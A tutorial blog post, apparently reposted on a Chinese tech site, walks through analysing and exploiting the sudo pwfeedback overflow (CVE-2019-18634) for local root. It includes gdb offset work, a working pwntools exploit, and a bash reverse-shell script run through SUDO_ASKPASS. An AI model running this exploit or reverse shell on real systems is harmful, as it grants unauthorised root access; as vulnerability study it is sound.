A CVE Journey: From Crash to Local Privilege Escalation (Sudo's Pwfeedback)

栏目: IT技术 · 发布时间: 4年前

内容简介:My journey started with a member in theAll of these make this bug a very lucarative option for a newbie to start, and since this is just a stack based buffer overflow, I decided to give it a try.To not ruin my default Linux installation, I decided to repro
  • This post is a complete walkthrough for the process of writing an exploit for CVE 2019-18634. I will talk about the methedologies used and why is it such a good bug to begin your real world exploitation skills.
  • This bug allows for Local Privilege Escalation because of a BSS based overflow, which allows for the overwrite of user_details struct with uid 0, essentially escalating your privilege. This bug can be triggered even by users not listed in the sudoers file
  • There is no impact unless pwfeedback has been enabled.

Prelude

My journey started with a member in the OpenToAll slack group posting a link for some CVE advisory . Going through the advisory highlights some of the points which made me think I can use this bug for my first CVE POC.

a user may be able to trigger a stack-based buffer overflow
versions 1.7.1 to 1.8.30 inclusive are affected
Exploiting the bug does not require sudo permissions
the stack overflow may allow unprivileged users to escalate to the root account

All of these make this bug a very lucarative option for a newbie to start, and since this is just a stack based buffer overflow, I decided to give it a try.

Setup

To not ruin my default Linux installation, I decided to reproduce the bug in a docker container. It would be lighter than a full blown VM and I won’t have to worry about the installation ruining something if it goes wrong. 80% of the Dockerfile has been copied from grazfather’s Pwndock . My addition to it is the automatic build script to deploy the sudo version I needed to test. sudouser for the user which has sudo privileges, and testuser for the user without sudo privileges.

Dockerfile

RUN adduser --disabled-password --gecos '' sudouser
RUN adduser --disabled-password --gecos '' testuser
RUN echo sudouser:sudouser | chpasswd
RUN echo testuser:testuser | chpasswd

COPY sudo-1.8.25p1 /tmp/sudo-1.8.25p1
COPY build /tmp/sudo-1.8.25p1
WORKDIR /tmp/sudo-1.8.25p1
RUN chmod +x ./build
RUN ./build

build.sh

Note the pwfeedback in /etc/sudoers, need to set it to reach the codepath for the vulnerability.

#!/bin/bash

sed -e '/^pre-install:/{N;[email protected];@ -a -r $(sudoersdir)/sudoers;@}' -i plugins/sudoers/Makefile.in

./configure --prefix=/usr              \
            --libexecdir=/usr/lib      \
            --with-secure-path         \
            --with-all-insults         \
            --with-env-editor          \
            --enable-pie               \
            --docdir=/usr/share/doc/sudo-1.8.31 \
            --with-passprompt="[sudo] password for %p: "

make
make install
ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0

cat > /etc/sudoers << "EOF"
Defaults	env_reset,pwfeedback
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root	ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
EOF

usermod -aG sudo sudouser

Crash

For sudo versions prior to 1.8.26, and on systems with uni-directional pipes, 
reproducing the bug is simpler. Here, the terminal kill character is set to the 
NUL character (0x00) since sudo is not reading from a terminal. This method is 
not effective in newer versions of sudo due to a change in EOF handling introduced 
in 1.8.26.

I decided to give the 1.8.25p1 version a try. After setting up my docker, I decided to reproduce the crash with the payload given in the advisory. The crash happened as expected.

perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
Password: Segmentation fault (core dumped)

Its time to get to the root of the bug (pun intended)

Debugging

sudo is a suid binary

-rwsr-xr-x 1 root root 519024 Feb  5 21:29 /usr/bin/sudo

You cannot just run a sudo command from a non privileged user and attach the debugger to it. The debugger needs to run as root and now when sudo is triggered as a non privileged user, the debugger can attach to it given its pid.

Let’s start by setting up a pwntools script to run sudo and give input to it

import sys
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

p = process([TARGET,"-S", "id"])
pause()
payload = ("A"*100+"\x00")*50
p.recvuntil("Password: ")
p.sendline(payload)
p.interactive()
sys.exit(0)

Running this pauses the script, giving us time to attach the debugger

Once attached, continue the execution in gdb and press any key to continue the python script.

You can see the result below

[+] Starting local process '/usr/bin/sudo': pid 21958
[*] Paused (press any to continue)

At 00:21, we get a segmentation fault in the debugger and we have the complete stack trace to see how we reached this point. This will come very handy while analysing the bug.

Analysis of the Bug

First a very important line from the advisory

The bug can be reproduced by passing a large input with embedded terminal 
kill characters to sudo from a pseudo-terminal that cannot be written to

The phrase ‘from a pseudo-terminal that cannot be written to’ is very important as without that specific condition, the bug cannot be triggered, so first let’s focus on that part. We will look at the code to understand how the bug manifests.

Remember from the stack trace, the function which crashes is getln , so lets find that first.

A very good technique to find bits in complete source directory is the grep trick, which can list the files containing a string.

➜  sudo-1.8.25p1 grep -nr "getln"           
config.h:252:/* Define to 1 if you have the `fgetln' function. */
config.h.in:251:/* Define to 1 if you have the `fgetln' function. */
lib/util/getline.c:43:    buf = fgetln(fp, &len);
configure.ac:2559:    AC_CHECK_FUNCS([fgetln])
src/tgetpass.c:51:static char *getln(int, char *, size_t, int);
src/tgetpass.c:178:    pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
src/tgetpass.c:284:    pass = getln(pfd[0], buf, sizeof(buf), 0);
src/tgetpass.c:308:getln(int fd, char *buf, size_t bufsiz, int feedback)
src/tgetpass.c:314:    debug_decl(getln, SUDO_DEBUG_CONV)
configure:19226:    for ac_func in fgetln
configure:19228:  ac_fn_c_check_func "$LINENO" "fgetln" "ac_cv_func_fgetln"
configure:19229:if test "x$ac_cv_func_fgetln" = xyes; then :

Ignoring the config lines and some calling lines, we can guess tgetpass.c:308 is our candidate

Let’s analyse the bug

static char * getln(int fd, char *buf, size_t bufsiz, int feedback){
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
	errno = EINVAL;
	debug_return_str(NULL);		/* sanity */
    }

    while (--left) {
	nr = read(fd, &c, 1);
	if (nr != 1 || c == '\n' || c == '\r')
	    break;
	if (feedback) {
	    if (c == sudo_term_kill) {
		while (cp > buf) {
		    if (write(fd, "\b \b", 3) == -1)
			break;
		    --cp;
		}
		left = bufsiz;
		continue;
	    } else if (c == sudo_term_erase) {
		if (cp > buf) {
		    if (write(fd, "\b \b", 3) == -1)
			break;
		    --cp;
		    left++;
		}
		continue;
	    }
	    ignore_result(write(fd, "*", 1));
	}
	*cp++ = c;
    }
    *cp = '\0';
    if (feedback) {
	/* erase stars */
	while (cp > buf) {
	    if (write(fd, "\b \b", 3) == -1)
		break;
	    --cp;
	}
    }

    debug_return_str_masked(nr == 1 ? buf : NULL);
}

Basically what the function does is, copies buf and bufsiz to new values, cp and left respectively, I am guessing, cp means current pointer. Then it starts looping while there is still space left in the buffer. It uses a read call to read one byte from the file descriptor, and analyses the character received. If it is a new line or carriage return or if no character was read, the loop will break and the password is returned to the caller.

Note the line if(feedback) , in that check, if the feedback is enabled then a ‘*’ needs to be printed on the fd(pty) for every character entered, and if the delete button is pressed, the * needs to be removed. To remove the asterisk ‘\b’ or backspace is written to the fd and this deletes the asterisk.

Can you spot the bug?

if (c == sudo_term_kill) {
while (cp > buf) {
    if (write(fd, "\b \b", 3) == -1)
    break;
    --cp;
}
left = bufsiz;
continue;
If the write fails, the loop breaks and the left is set to bufsize, but cp is not reset back to the original position.

Hence it very important to have the write fail, if the write doesn’t fail the bug will never trigger. This answers the cannot be written to part, but what about the pseudo-terminal, why is that needed? To understand that we need to focus on the line if (c == sudo_term_kill) , and see where this sudo_term_kill character comes from. Using the same grep trick, we see the following

➜  sudo-1.8.25p1 grep -nr "sudo_term_kill"
lib/util/util.exp:134:sudo_term_kill
lib/util/util.exp.in:102:sudo_term_kill
lib/util/term.c:101:__dso_public int sudo_term_kill;
lib/util/term.c:236:	sudo_term_kill = term.c_cc[VKILL];
src/tgetpass.c:305:extern int sudo_term_erase, sudo_term_kill;
src/tgetpass.c:326:	    if (c == sudo_term_kill) {

sudo_term_kill = term.c_cc[VKILL] , looking at the reference for VKILL, we understand that it is something set by termios. sudo uses termios to setup echo/no echo for the password and probably for variety of other things. Using a pty or pseudo-terminal is important because we need null bytes to exploit the bug. If we don’t use a pty, VKILL is set to '\0’ , making exploitaton impossible.

Let’s now write the relevant code which uses a pty and can also make the write fail

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

We first open a pty with os.openpty() , then we get the name of the fd, and open it in readonly mode, we now pass this fd to the program as the stdin, since the fd was opened in readonly, the write will always fail, we can write to mfd and that data would be sent over to fd, but nothing written to fd would be sent back. So no password prompt now :). We also change the character from “\x00” to “\x15” because null byte now won’t crash the sudo binary.

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],stdin=fd)
pause()
payload = ("A"*100+"\x15")*50
os.write(mfd, payload+"\n")
pause()
sys.exit(0)
[+] Starting local process '/usr/bin/sudo': pid 4487
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Process '/usr/bin/sudo' stopped with exit code -11 (SIGSEGV) (pid 4487)

Now that we have reproduced the POC with the right control character ('\x15’) and also can debug it correctly, let’s move on to exploitation.

Exploitation

Runing checksec on the binary

gef➤  checksec
[+] checksec for '/usr/bin/sudo'
Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✓ 
Fortify                       : ✓ 
RelRO                         : Full

Looking at this might scare you away from trying to exploit sudo, but let’s focus on the primitives we have. We have a bss overflow and no RIP control, so let’s get creative.

Initially before the exploitation, while looking at the help of sudo, I noticed the askpass option

sudo -h 
sudo - execute a command as another user
  -A, --askpass                 use a helper program for password prompting

man sudodescribes askpass as

Normally, if sudo requires a password, it will read it from
the user's terminal.  If the -A (askpass) option is speci‐
fied, a (possibly graphical) helper program is executed to
read the user's password and output the password to the stan‐
dard output.  If the SUDO_ASKPASS environment variable is
set, it specifies the path to the helper program.  Otherwise,
if sudo.conf(5) contains a line specifying the askpass pro‐
gram, that value will be used.  For example:

    # Path to askpass helper program
    Path askpass /usr/X11R6/bin/ssh-askpass

If no askpass program is available, sudo will exit with an
error.

Okay, so sudo can execute a user defined program, but at what privileges? Let’s look for the code reference for this askpass

grep reveals sudo_askpass as: (I have not included the unnecessary code from the top and bottom)

/*
 * Fork a child and exec sudo-askpass to get the password from the user.
 */
static char *
sudo_askpass(const char *askpass, const char *prompt)
{
    child = sudo_debug_fork();
    if (child == -1)
	sudo_fatal(U_("unable to fork"));

    if (child == 0) {
	/* child, point stdout to output side of the pipe and exec askpass */
	if (dup2(pfd[1], STDOUT_FILENO) == -1) {
	    sudo_warn("dup2");
	    _exit(255);
	}
	if (setuid(ROOT_UID) == -1)
	    sudo_warn("setuid(%d)", ROOT_UID);
	if (setgid(user_details.gid)) {
	    sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
	    _exit(255);
	}
	if (setuid(user_details.uid)) {
	    sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
	    _exit(255);
	}
	closefrom(STDERR_FILENO + 1);
	execl(askpass, askpass, prompt, (char *)NULL);
	sudo_warn(U_("unable to run %s"), askpass);
	_exit(255);
    }

Note the line setuid(user_details.uid) , our program will be executed with our privileges, but if we manage to set the user_details.uid to 0, our program might run as root. So where does this user_details structure lies? Let’s look at gdb. We set a breakpoint at tgetpass.c:333, and start our python program. Attaching to the debugger and continuing the python program immediately hits the breakpoint.

gef➤  i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000560340c6b981 in getln at ./tgetpass.c:333
	breakpoint already hit 1 time
gef➤  p buf
$2 = 0x560340e762c0 <buf> ""

gef➤  p &user_details
$3 = (struct user_details *) 0x560340e76500 <user_details>

gef➤  p user_details
$4 = {
  pid = 0x7d6c, 
  ppid = 0x7d69, 
  pgid = 0x7d6c, 
  tcpgid = 0x7d6c, 
  sid = 0x7d6c, 
  uid = 0x3e8, 
  euid = 0x0, 
  gid = 0x3e8, 
  egid = 0x3e8, 
  username = 0x560342e1ecd5 "sudouser", 
  cwd = 0x560342e1ef14 "/mnt", 
  tty = 0x560342e1ef34 "/dev/pts/4", 
  host = 0x560342e1efa5 "sudotester", 
  shell = 0x560342e1ecf0 "/bin/bash", 
  groups = 0x560342e1eea0, 
  ngroups = 0x2, 
  ts_cols = 0x50, 
  ts_lines = 0x18
}

gef➤  p/d 0x560340e76500-0x560340e762c0
$5 = 576

Our user_details struct lies 576 bytes ahead of the buffer position , very well, we can very easily change its uid to 0, but how do we make the program follow this path? We cannnot just start sudo with -A flag as the overflow lies in the input prompt. We need to find the code which dictates the path of the program.

➜  src grep -nr "sudo_askpass"
tgetpass.c:52:static char *sudo_askpass(const char *, const char *);
tgetpass.c:117:	debug_return_str_masked(sudo_askpass(askpass, prompt));
tgetpass.c:238:sudo_askpass(const char *askpass, const char *prompt)
tgetpass.c:244:    debug_decl(sudo_askpass, SUDO_DEBUG_CONV)

sudo_askpassis being called in tgetpass.c line 117

if (ISSET(flags, TGP_ASKPASS)) {
	if (askpass == NULL || *askpass == '\0')
	    sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
	debug_return_str_masked(sudo_askpass(askpass, prompt));

If TGP_ASKPASS is set the program takes the execution path and flags is passed as a parameter to tgetpass . Looking at the backtrace, tgetpass was called by sudo_conversation in conversation.c line 72 .

int flags = tgetpass_flags;
    .
    .
    .
	/* Read the password unless interrupted. */
	pass = tgetpass(msg->msg, msg->timeout, flags, callback);
	if (pass == NULL)

We can now use gdb to switch frames and find the location of tgetpass_flags

gef➤  frame 2
#2  0x0000560340c5a933 in sudo_conversation (num_msgs=<optimized out>, msgs=<optimized out>, replies=0x7ffcb4f7fea8, callback=0x7ffcb4f802f0) at ./conversation.c:72
72			pass = tgetpass(msg->msg, msg->timeout, flags, callback);
gef➤  p tgetpass_flags
$6 = 0x2
gef➤  p &tgetpass_flags
$7 = (int *) 0x560340e764e4 <tgetpass_flags>
gef➤  frame 0
#0  getln (fd=0x0, buf=0x560340e762c0 <buf> "", feedback=0x8, bufsiz=0x100) at ./tgetpass.c:334
334		    } else if (c == sudo_term_erase) {
gef➤  p buf
$8 = 0x560340e762c0 <buf> ""
gef➤  p/d 0x560340e764e4-0x560340e762c0
$9 = 548

tgetpass_flags lies 548 bytes ahead of the buffer, so we can overwrite the flags too.

We now have our exploit path ready

  1. Move the pointer ahead by 548 bytes, by abusing the buffer overflow
  2. SET TGP_ASKPASS flag
  3. Again move the pointer ahead till we reach user_details struct
  4. Set UID to 0

At this stage, we just can start the program with SUDO_ASKPASS environment variable set to the program we want to execute and it should all play out perfectly.

When I was filling the buffer, I used the character A to fill the buffer and my program kept crashing because of SIGILL. I was very sure there cannot be a SIGILL because of the type of vulnerability, looking around the code, I spotted, a signo buffer which handled all the signals sudo received and it resent it back to itself. This is why I kept getting a SIGILL. After switching from character A to null byte my root shell popped.

Let’s finish writing the code for the python exploit

We first create the program to be run by askpass, I will be using a reverse shell which connects to out listener on port 4444

rs.sh

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

We then start a server at port 4444

We fill the buffer with 548 0s and then set the flags

We then fill it with 20 more 0s to reach the user_details struct

We then fill the userdetails struct with the right details, but set uid with three null chars as the \n is replaced by \0 by the getln function, making the uid 0

exploit.py

r=listen(4444)    

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],env={'SUDO_ASKPASS':"/tmp/rs.sh"}, stdin=fd)
pid = p.pid
ppid = util.proc.parent(pid)

payload = "\x00\x15"*548
payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS"))
payload += "\x00\x15"*(20)
payload += p32(pid)
payload += p32(ppid)
payload += p32(pid)
payload += p32(pid)
payload += p32(pid)
payload += "\x00"*3
payload += "\n"

os.write(mfd, payload)
r.wait_for_connection()
r.interactive()
    
sys.exit(0)

Result

Conclusion

The exploit can work very easily for versions >=1.8.26 as the eof handler in newer version will only handle the 0x4 or EOF character, not using that character anywhere will lead to a flawless execution of the exploit.

This was a very good learning opportunity for me and I would like to thank @vakzz for helping me deal with the write fails, I initially couldn’t understand how to make the write fail and that was super frustrating but nonetheless a learning experience.

In my opinion, this is a very good vulnerability to start with real world binaries as the complete source code is available and doesn’t require weird pointer manipulations and other stack setup to get a shell, the win function is already present and all you need to do is guide the program to towards it and overflow some bits. It also teaches a lot about terminals, pty, the special characters and ends up being super fun to exploit.

You can find the complete code on my github

Right now it only works for version 1.8.25 but only the offsets need to be changed to put it to use for other versions.

Feel free to ping me on twitter or disqus here for any questions.


以上所述就是小编给大家介绍的《A CVE Journey: From Crash to Local Privilege Escalation (Sudo's Pwfeedback)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

中国机器人

中国机器人

[中]王鸿鹏、[中]马娜 / 辽宁人民出版社 / 2017-1-1 / 48.00元

本书对中国机器人领域的发展历史做了引人入胜的介绍,中国机器人成长的过程也是中国经济由弱到强的历程。本书实际是选择了一个独特的视角来解读中国数十年的政治、经济、国家战略问题。中国的未来充满了多重可能性,本书对想了解中国当代与未来发展战略的读者是难得的读本,对智能制造这一当今世界*受关注的高科技领域在战略层面和科技伦理层面进行了深入地剖析和思考,其中提出的诸多前沿性观点是全球都将面对的问题,对中国科学......一起来看看 《中国机器人》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具